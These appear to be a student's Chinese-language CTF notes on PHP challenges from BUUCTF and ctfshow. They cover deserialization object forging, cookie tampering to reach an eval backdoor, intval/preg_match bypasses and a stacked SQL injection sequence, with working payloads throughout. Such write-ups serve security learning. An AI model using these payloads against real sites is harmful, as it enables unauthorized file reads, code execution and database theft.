Php-3、java-3、
目录
一、网鼎杯-青龙组 -web--AreUserialZ
1、源码见下:serialz copy
3、绕过语法详解:
4、尝试绕过:
二、php特性
三、php反序列化漏洞
四、Buuctf
Buuctf
Php反序列化:
先阅读源码,在分析思路
//大致思路:
新建一个对象filename flag.php 绕过 + op2 ---> serialize ---> 序列化之后得到字符串 ---> get str
is_valid函数需要绕过>asiic码 32--125之间
unserializ --->$obj --->程序运行结束 触发destruct 绕过第一次if判断 获取flag.php 内容
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() { //当对象建立得时候触发
// $op = "1";
// $filename = "/tmp/tmpfile";
// $content = "Hello World!";
$this->op=2;
$this->filename="flag.php"; //改2 为this指向
$this->content="hello world";
$this->process(); //指向process函数
}
public function process() {
if($this->op == "1") { //process函数:当op =1时,进入write函数,op=2进入read函数,否则结束
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res); //接收下面的res并打印
} else {
$this->output("Bad Hacker!");
}
}
private function write() { //可忽略
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = ""; //如果filename函数存在的话,直接file—get——contents
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res; //返回的res会被上面的output接收
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() { //当对象进行销毁的时候会判断一下,
if($this->op === "2") //这里判断op是否强等于2,如果等于2,就会吧op赋值为1,然后调用process
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) { //判断字符串的每一次值,是否在32-125内(可见字符之内的字符串)
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) { //从get传一个string,然后str过一下valid,看一下是否有非法字符,
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str); // 如果没有直接unserialize反序列化
}
}
$obj = new FileHandler();
echo serialize($obj); //打印
//可以利用的点:最后unserialize产生了一个对象, --> 前面两个魔法
Serialz 修改:
绕过前:
protected被保护的属性---->O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:8:"flag.php";s:10:" * content";s:11:"hello world";}
Public公开属性值---->O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:11:"hello world";}
0:11:"FileHandler":3:{s:5:"%0θ*%θθop";i:2;s:11:"%θθ*%θθfilename";s:8:"flag.php";s:1θ:"%θθ*‰θθcontent";s:12:"hello world";}
反序列化之后:拿到的str
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:11:"hello world";}
放到题目中,直接访问
http://258bf203-d1d4-4b92-a9cd-39df7a6c7836.node4.buuoj.cn:81?/O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:11:"hello world";}
查看源码可以看到:
Protect属性返回的字符串
Public公开属性返回的字符串
按逻辑来说,被封死了,但这里preg_match有个漏洞,当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1,所以我们可以传个数组绕过,构造payload: -----> ?num[]=abc
这里的主要是因为preg_match函数无法处理数组【这是他的一个漏洞,所以我们构建一个数组,num[ ]=后面可以随便填一些数字也可以不填,就可以直接出来。】
如图:
这个题也是考察intval函数的,只需了解该函数第二个参数的意思即可
如果要读到flag需要绕过num==4476
前置知识:
1、$a==$b全等: true,如果$a等于$b,并且它们的类型也相同。
2、intval($num,0) 意思是检测num的进制类型并返回其十进制的值,若num前缀为0, 即判断num为八进制,若num前缀为0x,则判断num为十六进制
绕过:
1、进制转化来绕过第一个===号,
十进制4476,转化为八进制为010574,转化为十六进制为0x117c
2、科学计数绕过===号 ,
构造pyload
?num=0x117c
或
?num=010574
或
?num=4476e1
实操:
分析:
反序列化漏洞的产生主要有以下两个原因:
魔法函数
__construct,__destruct,__call,__callStatic,__get,__set,__isset,__unset,__sleep,__wakeup,__toString,__invoke,__set_state,__clone和__debuginfo等成员函数在PHP中被称为魔法函数。在命名自己的类方法时不能使用这些名称,除非是想使用其魔法函数
--------------------------------------------------------
这道题怎么看都没有反序列化,以为隐藏了,但就是普通的GET传参,很简单
Playload:接受两个参数,生成对象,调用 login 函数
?username=xxxxxx&password=xxxxxx // 两个参数直接传xxxxxx 就可以
这次是通过反序列化 cookie 生成对象
思路:写一个php文件输出user序列化后的cookie
把题目粘贴到php文件把$isVip的值设置为ture
浏览器打开复制:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D
转换:
把这个值填入名为user的cookie
Pyload:
?username=xxxxxx&password=xxxxxx
Cookie:user=O:11:"ctfShowUser":1:{s:5:"isVip"%3bb:1%3b}
操作:
拿到key
构造pyload:
public $username='yn8rt';
public $isVip=true;
运行结果:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
Url解码:
O:11:"ctfShowUser":3:{s:8:"username";s:1:"x";s:8:"password";s:1:"y";s:5:"isVip";b:1;}
-------------------------------------------------------------------------------------------------------
构造pyload:
?username=x&password=y
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22yn8rt%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
这个题开始涉及反序列化的魔术方法了,我前面有文章写过php反序列化常用魔术方法的介绍
我们看回这个题,最后我们要用到的是backDoor类中的eval函数,来执行命令
如题:
结合上一个题的方法,循序渐进的看这个题,construct方法在初始化一个类的时候被触发,这里的construct方法会初始化info()这个类,在销毁时候触发destruct方法,destruct方法触发会调用info()类中的getInfo方法,然后返回user对象的值,这里我们看到我们想要调用的backDoor类中的方法也叫getInfo(),所以我们可以在序列化的时候把__construct方法初始化的类从info改为backDoor。
---------------------------------------------------
具体的实施方法如下:
拿到反序列化后cookie值:
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A0%3A%7B%7D%7D
构造pyloaad:
1、?username=xxxxxx&password=xxxxxx
2、Cookie:
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A0%3A%7B%7D%7D
合并:
出了点问题,那边不到flag
可以在后面加+,还没想好
打开题目,看到一个确实 Havefun 的页面,于是直接 F12 查看源代码。
根据所给出的 PHP 代码在当前页面 URL 尝试传入参数,最终竟直接得出 flag。
1' or 1=1 #
1' order by 1 #
1' union select 1,2#
0'; show databases; #
0'; show tables; #
1'; show columns from words; #
0'; show columns from `1919810931114514 `; #
最后爆出flag
1'; handler `1919810931114514` open as `a`; handler `a` read next;#